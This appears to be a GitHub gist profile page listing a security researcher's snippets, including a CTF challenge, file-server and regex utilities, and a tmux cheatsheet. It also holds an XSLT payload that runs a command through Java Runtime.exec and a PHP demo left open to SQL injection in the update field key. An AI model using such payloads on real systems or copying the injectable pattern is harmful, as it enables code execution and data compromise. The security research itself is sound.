Skip to content

Instantly share code, notes, and snippets.

View phith0n's full-sized avatar
🎯
Focusing

Owen Gong phith0n

🎯
Focusing
View GitHub Profile
{
"02f002afed6a67ccfb5e11e7a04468c997a3f772":[
"84.0.4114.0",
[
]
],
"02f01a17a700421b28f488f84dabf2e69f163a57":[
"53.0.2785.8",
[
@phith0n
phith0n / flag.php
Created October 9, 2023 16:11
A small PHP challenge
<?php
define('FLAG', 'flag{y0uW1n}');
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template>
<!-- #113 Methodref: java/lang/Runtime.getRuntime:()Ljava/lang/Runtime; -->
<!-- #119 Methodref: java/lang/Runtime.exec:(Ljava/lang/String;)Ljava/lang/Process; -->
<!-- #114 Utf8: open -a calculator -->
<!-- #115 String: touch /tmp/pwn -->
<xsl:value-of select="Runtime:exec(Runtime:getRuntime(),'open -a calculator')" xmlns:Runtime="java.lang.Runtime"/>
<xsl:value-of select="at:new()" xmlns:at="org.apache.xalan.xsltc.runtime.AbstractTranslet"/>
<!-- #132 Utf8: <init> -->
<AAA select="&lt;init&gt;"/>
@phith0n
phith0n / download.php
Last active July 22, 2021 04:16
progress enabled file server
<?php
set_time_limit(0);
$filename = 'bigfile.txt';
$f = fopen($filename, 'r');
$i = 0;
$chunk = 2;
$each = 100 / (filesize($filename) / $chunk);
while (true) {
@phith0n
phith0n / regenerate.py
Last active May 21, 2021 10:09
a simple regexp generator
import re
from enum import Enum
class State(Enum):
Initial = 0
D = 10
DRest = 11
S = 20
SRest = 21
@phith0n
phith0n / field.php
Last active April 25, 2021 10:07
SQL injection in the update field key.
<?php
$db = new PDO('sqlite::memory:');
$db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$db->exec("CREATE TABLE user (id int, username string, password string);");
$db->exec("INSERT INTO user VALUES(1, 'admin', 'admin');");
$db->exec("INSERT INTO user VALUES(2, 'demo', 'demo');");
$summary = $_REQUEST['field'];
$bind_vals = [];
$sql_set = ' ';
@phith0n
phith0n / output.txt
Last active January 13, 2021 08:06
一个离奇的Shell问题(请在Linux下运行,MacOS下运行会出错)
root@b3324f24e6c0:/tmp# ./sample.sh -n Bob -a
Arg: -n
Arg: Bob
Bob
Arg: -a
-a
Arg: --
--
@phith0n
phith0n / README.md
Created July 16, 2019 08:51
跑一跑微博被和谐的图

跑一跑微博被和谐的图

sinaimg子域名,跑一遍即可。

@phith0n
phith0n / README.md
Last active October 5, 2019 14:07
梧桐百科投稿指南

梧桐百科投稿指南

梧桐百科是一个碎片化安全知识学习平台,我们将细小的知识点(tricks)写入卡片,以卡片的形式让学习者对知识的认识程度更加深刻。

我们接受用户投稿,大家可以把自己觉得优秀的碎片化知识发送给我们,投稿地址:https://tricking.io/card/contribute/

投稿步骤

投稿前,请先搜索,可能你的知识点已经被梧桐百科收录。

@phith0n
phith0n / tmux-cheatsheet.markdown
Created April 27, 2018 05:18 — forked from ryerh/tmux-cheatsheet.markdown
Tmux 快捷键 & 速查表

Tmux 快捷键 & 速查表

启动新会话:

tmux [new -s 会话名 -n 窗口名]

恢复会话:

tmux at [-t 会话名]